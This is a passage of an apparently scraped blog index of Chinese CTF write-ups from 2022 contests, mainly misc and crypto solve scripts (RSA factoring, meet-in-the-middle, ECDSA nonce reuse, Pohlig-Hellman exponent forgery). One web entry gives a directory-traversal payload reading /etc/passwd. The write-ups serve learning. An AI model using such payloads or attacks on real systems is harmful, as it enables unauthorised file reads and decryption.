base64.b64decode(s)ff = open('flag.zip','wb')ff.write(z[::-1]) 这里压缩包尾部有点问题,直接用WinRAR修复即可。解压发现要密码,在cmdscan里面发现密码:解压以后得到flag.txt,发现是每行是一个点的坐标使用gnuplot画图并调整为长宽相等:扫一下:flag{a6b93e36-f097-11ec-a9b2-5254002d2b31}","categories":[{"name":"赛事","slug":"赛事","permalink":"http://example.com/categories/%E8%B5%9B%E4%BA%8B/"},{"name":"鹏城杯2022","slug":"赛事/鹏城杯2022","permalink":"http://example.com/categories/%E8%B5%9B%E4%BA%8B/%E9%B9%8F%E5%9F%8E%E6%9D%AF2022/"}],"tags":[{"name":"crypto","slug":"crypto","permalink":"http://example.com/tags/crypto/"},{"name":"misc","slug":"misc","permalink":"http://example.com/tags/misc/"}]},{"title":"ACTF2022","slug":"ACTF2022","date":"2022-06-26T23:53:19.000Z","updated":"2022-07-06T10:05:34.000Z","comments":true,"path":"2022/06/27/ACTF2022/","link":"","permalink":"http://example.com/2022/06/27/ACTF2022/","excerpt":"​ 实训了一个月,一直没参加比赛,这次浅浅做了些题,又是被SU的各位哥哥带飞。","text":"​ 实训了一个月,一直没参加比赛,这次浅浅做了些题,又是被SU的各位哥哥带飞。 MISCMahjoong在线麻将,可以点击自动对局,打一会儿会弹出flag:ACTF{y@kumAn_1s_incredl3le},多么朴实无华的签到题。 emoji🐨🐧🐧🐨🐨🐨🐧🐧🐨🐨🐧🐨🐧🐧🐨🐧🐨🐨🐧🐨🐨🐨🐧🐧🐧🐨🐨🐧🐨🐨🐧🐧🐨🐧🐧🐨🐧🐧🐨🐧🐧🐨🐨🐧🐨🐧🐨🐧🐨🐧🐨🐨🐨🐨🐨🐧🐨🐨🐧🐧🐧🐨🐨🐧🐨🐧🐨🐧🐧🐨🐨🐧🐧🐨🐨🐧🐧🐧🐨🐧🐨🐨🐧🐨🐨🐧🐨 转为二进制: 100111001101001011011100011011001001001001101010101111101100011010100110011000101101101 转为整数: 94794095464206931577745773 转为十六进制: 0x4e696e3649355f6353316d 即为flag: m1Sc_5I6niN signin又一个签到题,给了个hex文件,观察了下发现是bz2格式,解压多次依次发现了zs、gz、lzma格式;那么应该是四个压缩算法循环压缩了n次,写个while循环解压即可。 1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556import zstandardimport pathlibimport gzipimport bz2import lzmacount = 1extra_outputfile = "compress/flag" + str(count)outputfile = "compress/flag" + str(count + 1)def decompress_lzma_to_folder(input_file): with open(outputfile, 'wb') as f: print("lzma:" + outputfile) f.write(lzma.open(input_file).read())def decompress_zstandard_to_folder(input_file): input_file = pathlib.Path(input_file) with open(input_file, 'rb') as compressed: decomp = zstandard.ZstdDecompressor() print("zst:" + outputfile) with open(outputfile, 'wb') as destination: decomp.copy_stream(compressed, destination)def decompress_gzip_to_folder(input_file): with gzip.open(input_file, 'rb') as f_in: with open(outputfile, 'wb') as f: print("lzma:" + outputfile) f.write(f_in.read())def decompress_bzip_to_folder(input_file): with open(input_file, 'rb') as f_in: with open(outputfile, 'wb') as f: print("bzip:" + outputfile) f.write(bz2.decompress(f_in.read()))while True: with open(extra_outputfile, 'rb') as f: data = f.read() print(data[0:4]) if data[0:4] == b"(\\xb5/\\xfd": decompress_zstandard_to_folder(extra_outputfile) elif data[0:4] == b'\\x1f\\x8b\\x08\\x08': decompress_gzip_to_folder(extra_outputfile) elif data[0:4] == b'\\xfd7zX' or data[0:4] == b']\\x00\\x00\\x80': decompress_lzma_to_folder(extra_outputfile) elif data[0:4] == b'BZh9': decompress_bzip_to_folder(extra_outputfile) else: break extra_outputfile = outputfile print("extra:" + extra_outputfile) count = count + 1 outputfile = "compress/flag" + str(count + 1) print("now:" + outputfile)# ACTF{r0cK_4Nd_rolL_1n_C0mpr33s1ng_aNd_uNCOmrEs5iNg} Cryptoimpossible RSA给了ssl格式的公钥,先去在线网站解出n、e。根据题目条件可推导出这样的关系: k*p^2+p-e*n=0这里直接用求根判别公式去爆破k即可。exp: 12345678910111213141516171819from Crypto.Util.number import *from gmpy2 import *e = 65537n = 15987576139341888788648863000534417640300610310400667285095951525208145689364599119023071414036901060746667790322978452082156680245315967027826237720608915093109552001033660867808508307569531484090109429319369422352192782126107818889717133951923616077943884651989622345435505428708807799081267551724239052569147921746342232280621533501263115148844736900422712305937266228809533549134349607212400851092005281865296850991469375578815615235030857047620950536534729591359236290249610371406300791107442098796128895918697534590865459421439398361818591924211607651747970679849262467894774012617335352887745475509155575074809for i in range(1,100000): l = iroot(1 + 4 * i * e * n,2) if l[1]: if n%((l[0]-1) // (2*i)) == 0: p = (l[0]-1) // (2*i) q = n//p print(i) breakassert p*q == nflag = open('flag','rb').read()f = bytes_to_long(flag)d = invert(e,(p-1)*(q-1))print(long_to_bytes(pow(f,d,n)))# b'ACTF{F1nD1nG_5pEcia1_n_i5_nOt_eA5y}' RSA LEAK这题一共有两个难点:1.类似于中间相遇的攻击思想求rp和rq 2.用已知条件建立一元二次方程求根首先根据leak函数来求ra和rb,由于这两者都是(0,2^24)的随机数,要爆破很困难,于是采用中间相遇的思想——以空间换时间: 12345678910# 中间相遇攻击dic = {}for i in tqdm(range(1,2**24)): tmp =(out-pow(i,e,n0))%n0 dic[tmp]=ifor i in tqdm(range(2**24)): t = pow(i,e,n0) if t in dic.keys(): print(i,dic[t]) 对于n=pp.qq,不难发现a.b就等于n开四次根取整,证明如下(rp和rq对于a和b来说相当于一个很小的量): a*b= \\sqrt[4]{(a^4+o(a))} * \\sqrt[4]{(b^4+o(b))}整理一下所有的已知条件: r_{p}=pp-p; r_{q}=qq-q; p*q=(ab)^4; pp*qq=n如果我们用$r{p}$乘$r{q}$,会出现$n$,$pp.q$,$qq.p$,$p.q$ ,由于 $pp.q$ 是未知的,所以需要构造这个来相消;因此考虑 $r{p}.q$ ,同理$r{q}.p$,消去以后剩下 $p.q$ 和 $n$ ,都是已知量,最后得到: r_{p}*qq+(pq-r_{p}*r_{q}-pp*qq)+r_{q}*pp = 0等式两边同乘qq得到关于qq的一元二次方程,解出来就是qq,完整过程: 12345678910111213141516171819202122232425262728293031323334353637from gmpy2 import *from tqdm import tqdmn0 = 122146249659110799196678177080657779971out = (90846368443479079691227824315092288065-0xdeadbeef)%n0sig = 0xdeadbeefe = 65537# 中间相遇攻击dic = {}for i in tqdm(range(1,2**24)): tmp =(out-pow(i,e,n0))%n0 dic[tmp]=ifor i in tqdm(range(2**24)): t = pow(i,e,n0) if t in dic.keys(): print(i,dic[t])# sageimport gmpy2r1=11974933r2=405771n = 3183573836769699313763043722513486503160533089470716348487649113450828830224151824106050562868640291712433283679799855890306945562430572137128269318944453041825476154913676849658599642113896525291798525533722805116041675462675732995881671359593602584751304602244415149859346875340361740775463623467503186824385780851920136368593725535779854726168687179051303851797111239451264183276544616736820298054063232641359775128753071340474714720534858295660426278356630743758247422916519687362426114443660989774519751234591819547129288719863041972824405872212208118093577184659446552017086531002340663509215501866212294702743e = 65537c = 48433948078708266558408900822131846839473472350405274958254566291017137879542806238459456400958349315245447486509633749276746053786868315163583443030289607980449076267295483248068122553237802668045588106193692102901936355277693449867608379899254200590252441986645643511838233803828204450622023993363140246583650322952060860867801081687288233255776380790653361695125971596448862744165007007840033270102756536056501059098523990991260352123691349393725158028931174218091973919457078350257978338294099849690514328273829474324145569140386584429042884336459789499705672633475010234403132893629856284982320249119974872840t=gmpy2.iroot(n,4)[0]^4A=r1B=t-r1*r2-nC=r2*nq=(-B+isqrt(B^2-4*A*C))//(2*A)p=n//qphi=(p-1)*(q-1)d=gmpy2.invert(e,phi)m=pow(c,d,n)print(bytes.fromhex(hex(m)[2:]))# b'ACTF{lsb_attack_in_RSA|a32d7f}' 复现safer-telegram-bot-1审计下sage.js,发现两个比较关键的地方: 对js不太熟,读个大概意思就行。对bot发/login他会马上把uid变为0_login_callback:" + msg.chat.id + ":" + msg.message_id,然后sleep一段随机时间,变为authorizedUids[0].uid + "_login_callback:" + msg.chat.id + ":" + msg.message_id,然后再马上变成-1_login_callback:" + msg.chat.id + ":" + msg.message_id,去查了下js的random,发现它是以当前时间为种子进行随机的,不太好预测,但可以多次发/login,每次间隔不同或相同时间点开,可能会在某个时候恰好碰对时间出flag(我觉得完全不可控,凭运气),预期解应该不是这样的。 safer-telegram-bot-2","categories":[{"name":"赛事","slug":"赛事","permalink":"http://example.com/categories/%E8%B5%9B%E4%BA%8B/"},{"name":"XCTF","slug":"赛事/XCTF","permalink":"http://example.com/categories/%E8%B5%9B%E4%BA%8B/XCTF/"},{"name":"ACTF2022","slug":"赛事/XCTF/ACTF2022","permalink":"http://example.com/categories/%E8%B5%9B%E4%BA%8B/XCTF/ACTF2022/"}],"tags":[{"name":"crypto","slug":"crypto","permalink":"http://example.com/tags/crypto/"},{"name":"misc","slug":"misc","permalink":"http://example.com/tags/misc/"},{"name":"赛事","slug":"赛事","permalink":"http://example.com/tags/%E8%B5%9B%E4%BA%8B/"}]},{"title":"长亭pwnhub内部赛","slug":"长亭pwnhub内部赛","date":"2022-06-11T15:33:33.000Z","updated":"2022-06-12T06:31:56.000Z","comments":true,"path":"2022/06/11/长亭pwnhub内部赛/","link":"","permalink":"http://example.com/2022/06/11/%E9%95%BF%E4%BA%ADpwnhub%E5%86%85%E9%83%A8%E8%B5%9B/","excerpt":"2022 六月内部赛misc-伏羲八卦","text":"2022 六月内部赛misc-伏羲八卦 根据题目和gif可知,首先需要把gif提取成每一帧,然后对照每一帧的卦象转为01序列(或者8进制)提取帧的脚本: 12345678910111213141516171819202122232425262728293031323334353637from PIL import Imageimport osimport randomclass GIFTest: def __init__(self, file_name): self.file_name = file_name # 传入的文件名 self.dir_name = self.file_name[:-4] # 根据文件名创建存放分帧图片的文件夹 self.gif_path = os.path.join(os.path.dirname(__file__), file_name) # 拼接图片文件的完整路径(仅限同一文件夹内) self.make_dir() def make_dir(self): """用于创建存放分帧图片的文件夹""" try: os.mkdir(self.dir_name) except FileExistsError: print('<%s>文件夹已存在' % self.dir_name) self.dir_name += str(random.randint(0, 10)) os.mkdir(self.dir_name) def framing_test(self): """GIF图片分帧""" img = Image.open(self.gif_path) try: while True: curr = img.tell() name = os.path.join(self.dir_name, '%s.png' % str(curr + 1)) img.save(name) img.seek(curr+1) except Exception as e: passif __name__ == '__main__': GIFTest('test.gif').framing_test() 根据卦象转成8进制数字: 1234567891011121314151617from diff import diffdic = {"test/1.png":'1',"test/2.png":'3',"test/4.png":'0',"test/5.png":'7',"test/9.png":'5',"test/14.png":'6',"test/29.png":'4',"test/39.png":'2'}for i in dic: print(i)s = ''for i in range(1,343): print(i) for j in dic: if diff(f'test/{i}.png',j): s = s+dic[j]print(s)# 133070135133061061051133061141135133062063051133132155170150132063164105062132141162150146142102143115103061065124063125164142125103130116127122112164101104106162132123061167142107106145102107062106150102122147151161063147065142107065156114127060170143062153110171157116161151124130143155151135133062144135133063141051133064065135133065061051 每三个八进制数字转成一组字符: 123456ss = ''for i in range(len(s)//3): m = s[3*i] + s[3*i+1] + s[3*i+2] ss = ss + chr(int(m,8))print(ss)# [8][11)[1a][23)[ZmxhZ3tE2ZarhfbBcMC15T3UtbUCXNWRJtADFrZS1wbGFeBG2FhBRgiq3g5bG5nLW0xc2kHyoNqiTXcmi][2d][3a)[45][51) [ ]看来像是区间范围,里面的数字是16进制,按照顺序调一下字符串: 12345f = 'ZmxhZ3tE2ZarhfbBcMC15T3UtbUCXNWRJtADFrZS1wbGFeBG2FhBRgiq3g5bG5nLW0xc2kHyoNqiTXcmi'f = f[0x8:0x11]+f[0x1a:0x23]+f[0x2d:0x3a]+f[0x45:0x51]print(f)# 2ZarhfbBcUCXNWRJtAeBG2FhBRgiq3gkHyoNqiTXcmi# base58转换一下 crypto-ecdsa私钥和k相同,推导一下几个参数的关系即可。 1234567891011import hashlibfrom Crypto.Util.number import *from ecdsa.ecdsa import *n=generator_192.order()message = b'get the flag'hash_message = int(hashlib.sha1(message).hexdigest(), 16)r,s=827738947342412163466256986352463260575568151152429823167,827738947342412163577310637036310636847677110838127448036secret=inverse(s-r,n)*hash_message%nflag = 'flag{' + hashlib.md5(str(secret).encode()).hexdigest() + '}'print(flag)","categories":[{"name":"PWNHUB","slug":"PWNHUB","permalink":"http://example.com/categories/PWNHUB/"},{"name":"内部赛","slug":"PWNHUB/内部赛","permalink":"http://example.com/categories/PWNHUB/%E5%86%85%E9%83%A8%E8%B5%9B/"}],"tags":[{"name":"crypto","slug":"crypto","permalink":"http://example.com/tags/crypto/"},{"name":"misc","slug":"misc","permalink":"http://example.com/tags/misc/"},{"name":"pwnhub","slug":"pwnhub","permalink":"http://example.com/tags/pwnhub/"}]},{"title":"Dest0g3-520取证和AI复现","slug":"Dest0g3-520取证和AI复现","date":"2022-06-09T07:45:50.000Z","updated":"2022-07-25T00:47:02.000Z","comments":true,"path":"2022/06/09/Dest0g3-520取证和AI复现/","link":"","permalink":"http://example.com/2022/06/09/Dest0g3-520%E5%8F%96%E8%AF%81%E5%92%8CAI%E5%A4%8D%E7%8E%B0/","excerpt":"复现~","text":"复现~ rookie hacker-2关于E01格式,参考这里;通常可以用取证大师直接梭,也可以用OSFMount先挂载再用DiskGenius打开对应盘查看即可。挂载:这题要找docker相关配置,而docker默认的数据目录是/var/lib/docker,所以直接到该目录下去搜索:这题要找容器的ip地址,直接查看hosts就行了:这题还有一种解法是去看.bash_history文件,因为部署docker可能会用shell命令处理ip地址,所以直接查看即可:这里出题人刚好用了ping命令,或许是故意的吧。 rookie hacker-1到上述目录下查看config.v2.json文件即可。 rookie hacker-3首先在docker目录下找到日志文件:可以知道数据库为mongodb 2.6.12,存在控制访问漏洞,泄露的文件为:个人觉得这题有点牵强,即使找到这个洞,也难以确定泄露的文件吧qwq. OCROCR算是AI题的helloworld吧,说是misc也不为过。分析png,crc报错,于是用脚本跑一下宽高。 123456789101112131415161718192021222324252627import structimport zlibdef hexStr2bytes(s): b = b"" for i in range(0,len(s),2): temp = s[i:i+2] b +=struct.pack("B",int(temp,16)) return bstr1="49484452"str2="0802000000"bytes1=hexStr2bytes(str1)bytes2=hexStr2bytes(str2)wid,hei = 1883,262crc32 = "0x36890abe"for w in range(wid,wid+2000): for h in range(hei,hei+2000): width = hex(w)[2:].rjust(8,'0') height = hex(h)[2:].rjust(8,'0') bytes_temp=hexStr2bytes(width+height) if eval(hex(zlib.crc32(bytes1+bytes_temp+bytes2))) == eval(crc32): print(hex(w),hex(h)) break #0x75d 0x306 可以发现377ABCAF是7z的文件头,那么很明显了,需要用ocr把16进制识别出来转化成压缩包文件。 12345678910import easyocrreader = easyocr.Reader(['en'],gpu=True)result = reader.readtext("flag_pic.png",detail=0)ans = ''for i in range(0,len(result),1): ans+=result[i]ans = ans.replace('o','0').replace('S','5').replace('O','0').replace('z','2').replace('Z','2').replace('I','1')print()print(ans) 由于这个模型识别准确率8太行,所以可以尝试下百度识图或qq识图再用脚本替换一下不确定的字符。调了很久得到压缩包,里面是base64,解一下得到flag。 12RGVzdDBnM3szNDUxMjA5OC0zMzA5LTc3MTItODg2NS03ODM0NjAyMjE2NDd9Dest0g3{34512098-3309-7712-8865-783460221647} The correct flag下载word以后发现有隐藏字符,自然想到粘贴到txt中,发现是这样的字符:大道至简,很多人工智能的模型最后学习到的内容也就是频率统计的结果,于是随便找个脚本统计下每两个字符为一组的每组的频数: 123456789101112131415161718192021222324252627282930def stats_words(filename): """统计文章中单词的频数""" # 读取文章中的内容 with open(filename, encoding="utf-8") as fbj: contents = fbj.read() words = contents.split() words_set = set(words) words_dir = {} for key in words_set: words_dir[key] = 0 for word in words: if word in words_set: words_dir[word] += 1 return words_dirfile_name = "secret.txt"words_dir = stats_words(file_name)words_dir = sorted(words_dir.items(), key=lambda x: x[1], reverse=True)print(words_dir) 1[('l1', 30), ('lt', 29), ('ll', 29), ('0g', 29), ('li', 29), ('87', 29), ('l8', 29), ('0N', 28), ('l}', 28), ('0x', 28), ('8A', 28), ('8F', 28), ('06', 28), ('8U', 28), ('l9', 28), ('lH', 28), ('0j', 28), ('lP', 27), ('0D', 27), ('8u', 27), ('8g', 27), ('0Y', 27), ('0W', 27), ('0H', 27), ('0i', 27), ('lf', 26), ('lJ', 26), ('t0', 26), ('lc', 26), ('0r', 26), ('0p', 26), ('8t', 26), ('tb', 25), ('lT', 25), ('tS', 25), ('lR', 25), ('0w', 25), ('}D', 25), ('t6', 25), ('lp', 25), ('81', 25), ('ti', 25), ('8X', 24), ('}e', 24), ('tT', 24), ('8M', 24), ('}o', 24), ('tp', 24), ('t1', 24), ('8h', 24), ('88', 24), ('8I', 23), ('lu', 23), ('00', 23), ('8T', 23), ('NW', 23), ('t5', 23), ('tg', 23), ('{2', 23), ('8n', 23), ('tw', 23), ('tF', 23), ('8w', 23), ('8o', 23), ('}B', 23), ('}r', 23), ('8J', 23), ('qS', 23), ('}j', 23), ('0l', 23), ('Wq', 23), ('N0', 22), ('8H', 22), ('0Z', 22), ('{m', 22), ('ls', 22), ('}t', 22), ('{k', 22), ('{I', 22), ('lX', 22), ('Nw', 22), ('}v', 22), ('tm', 22), ('N6', 22), ('0K', 22), ('qP', 22), ('8P', 22), ('}X', 22), ('8d', 22), ('0f', 22), ('{x', 22), ('NV', 22), ('8D', 22), ('qX', 22), ('{t', 22), ('}f', 22), ('lL', 22), ('Nj', 22), ('{r', 22), ('W}', 22), ('Nr', 21), ('8e', 21), ('qe', 21), ('tM', 21), ('lI', 21), ('N9', 21), ('tY', 21), ('q{', 21), ('{U', 21), ('{g', 21), ('{v', 21), ('t9', 21), ('8S', 21), ('}5', 21), ('8Q', 21), ('{D', 21), ('0o', 21), ('Ne', 21), ('8f', 21), ('W6', 21), ('Wf', 21), ('{Y', 21), ('V}', 20), ('Kk', 20), ('Ai', 20), ('UX', 20), ('AB', 20), ('xM', 20), ('bM', 20), ('RE', 20), ('8i', 20), ('0I', 20), ('kG', 20), ('LF', 20), ('6X', 20), ('Xn', 20), ('oX', 20), ('Xm', 20), ('jr', 20), ('vB', 20), ('hd', 20), ('fC', 20), ('Vr', 20), ('uR', 20), ('}S', 20), ('O8', 20), ('uJ', 20), ('fx', 20), ('z5', 20), ('BT', 20), ('tZ', 20), ('OV', 20), ('6v', 20), ('Xb', 20), ('b{', 20), ('kB', 20), ('xB', 20), ('4K', 20), ('El', 20), ('rx', 20), ('On', 20), ('ay', 20), ('zf', 20), ('H5', 20), ('jV', 20), ('FA', 20), ('oD', 20), ('nt', 20), ('lj', 20), ('rd', 20), ('bG', 20), ('y6', 20), ('tc', 20), ('jb', 20), ('xN', 20), ('r7', 20), ('vf', 20), ('5o', 20), ('kf', 20), ('A0', 20), ('i0', 20), ('l3', 20), ('vs', 20), ('N}', 20), ('Yj', 20), ('fQ', 20), ('OT', 20), ('pc', 20), ('zO', 20), ('rD', 20), ('pz', 20), ('OM', 20), ('PP', 20), ('nb', 20), ('VB', 20), ('Lt', 20), ('VY', 20), ('uI', 20), ('YH', 20), ('TW', 20), ('PX', 20), ('vp', 20), ('Oe', 20), ('i4', 20), ('ri', 20), ('ER', 20), ('Je', 20), ('NY', 20), ('R8', 20), ('Ad', 20), ('bN', 20), ('FR', 20), ('yq', 20), ('o{', 20), ('c3', 20), ('Ps', 20), ('k3', 20), ('XI', 20), ('HD', 20), ('yP', 20), ('Zq', 20), ('LU', 20), ('U0', 20), ('kD', 20), ('F3', 20), ('i9', 20), ('{n', 20), ('QK', 20), ('bQ', 20), ('wS', 20), ('wd', 20), ('JE', 20), ('w6', 20), ('A2', 20), ('5e', 20), ('RK', 20), ('pP', 20), ('z4', 20), ('r0', 20), ('bz', 20), ('Zv', 20), ('in', 20), ('wu', 20), ('LH', 20), ('Lv', 20), ('MR', 20), ('ao', 20), ('59', 20), ('BG', 20), ('nP', 20), ('4D', 20), ('aA', 20), ('m0', 20), ('ju', 20), ('hZ', 20), ('hP', 20), ('J0', 20) ...] 因为知道flag格式为Dest0g3{,可发现规律:D开头的字符组中De出现最多,e开头的字符组中es出现6次,最多,s开头的字符组中st出现最多,规律比较明显了,类似于贪吃蛇;依照规律得到Dest0g3{2987NWqSdIl1}.","categories":[{"name":"buu","slug":"buu","permalink":"http://example.com/categories/buu/"},{"name":"Dest0g3-520迎新赛2022","slug":"buu/Dest0g3-520迎新赛2022","permalink":"http://example.com/categories/buu/Dest0g3-520%E8%BF%8E%E6%96%B0%E8%B5%9B2022/"}],"tags":[{"name":"buu","slug":"buu","permalink":"http://example.com/tags/buu/"},{"name":"misc","slug":"misc","permalink":"http://example.com/tags/misc/"},{"name":"AI","slug":"AI","permalink":"http://example.com/tags/AI/"}]},{"title":"SEETF2022","slug":"SEETF2022","date":"2022-06-06T14:04:08.000Z","updated":"2022-06-09T15:52:24.000Z","comments":true,"path":"2022/06/06/SEETF2022/","link":"","permalink":"http://example.com/2022/06/06/SEETF2022/","excerpt":"​ 题目质量很好,后边慢慢复现。","text":"​ 题目质量很好,后边慢慢复现。 WebSourceless Guessy Web (Baby Flag)目录遍历,flag在根目录下的etc/passwd。payload:?page=../../../etc/passwd,这里如果不确定往回退几个目录可以多加几层../,最终会到根目录底下。SEE{2nd_fl4g_n33ds_RCE_g00d_luck_h4x0r} MiscRegex101有很多个txt文件,flag是其中一个txt的内容;给了flag格式,所以读出每个txt的内容然后正则过滤就行。 12345678import ref = open("flags.txt",'r')for i in range(3000): m = f.readline().strip() if re.search(r"[A-Z]{5}[0-9]{5}[A-Z]{6}",m): print(m)# SEE{RGSXG13841KLWIUO} FORENSICSSniffed Traffic首先分析http流量,可以看到传输了zip文件;导出http对象即可获取zip。追踪tcp流,在32组发现zip密码:hey!what the? who is thissomeone who stole your thingamajig. now whats the password?im really not sure why i would willingly give you the password. but for the sake of story telling, here it is 49949ec89a41ed9bdd18c4ce74f37ae4解开是stuff.stuff,winhex分析发现有压缩包的痕迹,所以binwalk再把最后一层zip分出来。需要密码而并非伪加密,于是爆破,得到解压密码john,解开就是flag。SEE{w1r35haRk_d0dod0_4c87be4cd5e37eb1e9a676e110fe59e3} CRYPTOClose Enoughp,q取的太接近了,费马分解n就行。 Lost Modulus服务端对提交的m1和m2有限制: 12assert m1.bit_length() >= 1600 and long_to_bytes(m1).startswith(b"SEE{")assert 500 <= m2.bit_length() <= 600 需要在绕过这两个限制的条件下构造特定的m1和m2求n。得到n以后对n开$2^i$得到flag。通常构造明文关系是让m1和m2有倍数关系,但这题不知道e,不可行;于是想到幂次关系: m_{2} ^3=m_{1}服务端加密之后有: c_{1}=m_{1} ^e \\mod n c_{2}=m_{2} ^ e \\mod n故c2^3 - c1为关于n的多项式。由于每次e都是随机的,所以同一组数据可以向服务器请求两次得到两个不同的多项式;两组数据做gcd可得到n。完整exp: 123456789101112131415161718192021222324from Crypto.Util.number import *from gmpy2 import *m = b"SEE{"t = getRandomNBitInteger(1600)r = m + long_to_bytes(t)rr = bytes_to_long(r)m2 = iroot(rr,3)[0]m1 = pow(m2,3)print(m1)print(m2)# 需要两组数据做gcdl1 = [23567680941583601735556045405295677828384777952241796469327058194988188091146299674631746598181119414103638879032060603260838407921994665418622633978877119213123524393064789118410275586099027688149980102283539233077321118628434918045581198338927080073348812294522379597309055248147216656226526810483001997666346729431930859203422705189471011094356386225010857012205006040152163494305897833318494634318398037405442057169746348358967630152106932333161843629426170318862377344592908730353792075124171864059476548498200785157846949291394602897320395990396832624099725194591106240609693698447122601251040645022252382310353123704870733570311668206858259028936796464861749988396540355269788407928335957470529523245334651573382485839842171049818988860039788419959860570227275392617055234176965465663188919283087507101272853070909615797053111205935125809990457007143991249883041673506364425478110669854444993173827021353741403221597729698249087239488730222445554585688824237170417929909330220860781373728186244550449767296687099390964660644531250, 14475889839670886872843385514083904927386202930350361939874782221849125227559884889683074440218102856145094765941382258412057148841148626828125930353134356785363448439581064712388008267828615592302557717804501053659551134205076190390901544824346778246738498693503216988533798118151831056012391027686600462557484860319364413275719601343404144795150392806010410819218563733551409388908933317174162344841950087394578501680417900524020980794449512258196458525615455501230348141439896383112629039769048043133010193757831479487784734294258324408034559175231004689004585639002727368174006093799045980603346643197830195224251928650239557752292230896158336088774154650737017656990373708313377648581637681066714326422085563249927621435132100555475478328244257003825162005424392459453805758085793619492389509906835345991722125831855431705761983898469898476186587557646397733251721551159211094442004641560878594372059576305266612497357636870309840722303608627640857693727546940089387703796929836084589779346835300719517341450055970739115295410156250]l2 = [6124957517012544253583276263442626992978126515394553287685251466779676545068777944109839073061028057313738438279552184114489564202113987475554487692048417043378894686159297649643652821396225530969980026447009798720699897816769002127322743312915090779056267061555533274251846797980286646401974378879605590160090623077133286917420774588429145019013178007901039037485430704863400251436922065670553763824682319910624759928133096728812357485015715300867541368318996098165274317715833869181410253794568905056774703866231379721315483064777362792417366661830434954741644808541724752861427446511013713256029233270601604034380512580426571392950306613629374959238462468113018421790095392597751663741477793560859215353147630501964845051040071101181938514627552849619130323489636939267483316744615658496660646565622282630339154838029373605448769741806853734258867627070616737768725279078335092127019165822312467173611772464794225625123622484401706054685496110826736750907891361218580748177703696536922385003850458225820901589116659840709991455078125, 15527378828999526777560104144408150453986336495429344837457474581563767085653618374455975467384476131389391413309843595420516129611558445921886899865524147439854240971109181536061074449637745934010850116019654215223735833930004923757004996150025768026714238924300874489288822442988389172133285181294096909009225777581603504997887897282233374687357274002075546864027000118643241777520912515299803042238553248519366166514008795741606705631117903037678504937920911699122412091202350627789047916987064707003626970387008091938490434013478985537030582300726312945176968468861156690702019624809542256186846287874450863858370018455631610158308723734397005232906301550196759957947332836290845017652801796786784027039101976705266213437148649935086205090459214009236457536830128755457867552484666928594700759361976898538224035267368895274113410051167847501038565595733790793662841356286742880199687241482316690810492546527877361653575684524640728173769365415176396925621390215285566477186236465740572433603184423840507421225741982484129638671875000]print(gcd(pow(l1[1],3)-l1[0],pow(l2[1],3)-l2[0]))n = 28686561013111747525630069121468346440333609759413268951215743445246815392136304171128320147791215221157964672177830719103820519591217759770411600734376250640402446249268523009702376417311237331501657150839063542045685437658252499339097922145450718247727627777674294386548345347917754405541341290126750531479057239419443756932260787283403784880477383645938911407888069685586562949044985812720748420991562668057390731673632821528146612488016363889071438610922053531514439062931600373710861903006972398458837735843378575945824790851958045125125316289280914899524262909693030143270855738753031878766979591844299270127788620095890959709291390057244795982326301009216623268000578890133149730913722061786125553679149912448259125462453428541202302110654785521984270001383099057074207545052416742633204521418186769874190561999467096280475535468660407347080417721580411967733153727034927214874082107834391139068075416223281700325866000017550079888478486414865041075117744907960507311277234808103909767335361346167650222345738007499292144775390625for i in range(10): m = int(iroot(n,2**i)[0]) if b"SEE" in long_to_bytes(m): print(long_to_bytes(m))# b'SEE{common_moduli_with_common_exponents_daf4ede8dda5c}' UniveRSAlity也是交互类题目,首先对上传的p和q有限制,p和q的高位固定,并且都为128bit: 123456p = int(input('p=')) assert isPrime(p) and p.bit_length() == 128, 'p must be a 128-bit prime' assert str(float(math.pi)) in str(float(p)), 'p does not look like a certain universal constant' q = int(input('q=')) assert isPrime(q) and q.bit_length() == 128, 'q must be a 128-bit prime' assert str(float(math.e)) in str(float(q)), 'q does not look like a certain universal constant' 其次需要上传d进行解密,并且明文json可通过token验证: 1234567891011121314print('We will use e=65537 because it is good practice.') e = 65537 m = bytes_to_long(js.encode()) c = pow(m, e, p * q) # decode print('Now what should the corresponding value of d be?') d = int(input('d=')) m = pow(c, d, p * q) # interpret as json js = json.loads(long_to_bytes(m).decode()) assert js['token'] == token, 'Invalid token!' print('RSA test passed!') 最后,若js中有”flag”,才会打印flag: 123if 'flag' in js: from secret import flag print(flag) 关于p和q的取值,只需要爆破低位取得prime即可;解密若直接传入真实的私钥d,则解出的json数据虽然可以通过验证并不会包含”flag”;所以需要伪造一个d,让解密出的json数据既有token键值对又有”flag”;那么问题转化为:伪造一个明文$fakem$,$fake_m=c^d\\mod n$,已知$fake{m}$和c、n,求d。为了能快速求离散对数,我们需要找到光滑的p和q,最后用ph算法和crt求解即可。exp: 12345678910111213141516171819202122232425262728293031323334353637383940from Crypto.Util.number import *import jsone = 65537p = 314159265358979300000000000000000010539q = 271828182845904500000000000000000000701n = p*q# json数据测试 构造可以绕过的明文token = "rltmvyFGNAI"js = json.dumps({'token': token})print(js)m = js.encode()m = bytes_to_long(m)f = b'{"token":"rltmvyFGNAI","flag":8}'print(json.loads(f))fake_m = bytes_to_long(f)print(fake_m.bit_length())c = pow(m,e,n)print()print(c)G =GF(p)g = G(c)h = G(fake_m)k1 = discrete_log(h,g)print(k1)G1 = GF(q)g1 = G1(c)h1 = G1(fake_m)k2 = discrete_log(h1,g1)print(k2)d = crt([k1,k2],[p-1,q-1])print(d)# 把d发送给服务器check获得flag# SEE{pohlig-hellman_easy_as_pie_db01d3f24beda43e} The True ECC本质上是paper题,可参考m0leCon CTF 2020 Teaser — King Exchange,相关论文点击这里。只需要参考paper建立同构关系即可,exp: 123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293from random import randintfrom os import urandomfrom Crypto.Cipher import AESfrom Crypto.Util.Padding import pad, unpadfrom hashlib import sha1from typing import Tupleclass Ellipse: """Represents the curve x^2 + ay^2 = 1 mod p""" def __init__(self, a: int, p: int): self.a = a self.p = p def __repr__(self) -> str: return f"x^2 + {self.a}y^2 = 1 mod {self.p}" def __eq__(self, other: 'Ellipse') -> bool: # 判断曲线是否相同 equal return self.a == other.a and self.p == other.p def is_on_curve(self, pt: 'Point') -> bool: # 判断点是否在曲线上 x, y = pt.x, pt.y a, p = self.a, self.p return (x*x + a * y*y) % p == 1class Point: """Represents a point on curve""" def __init__(self, curve: Ellipse, x: int, y: int): self.x = x self.y = y self.curve = curve assert self.curve.is_on_curve(self) def __repr__(self) -> str: return 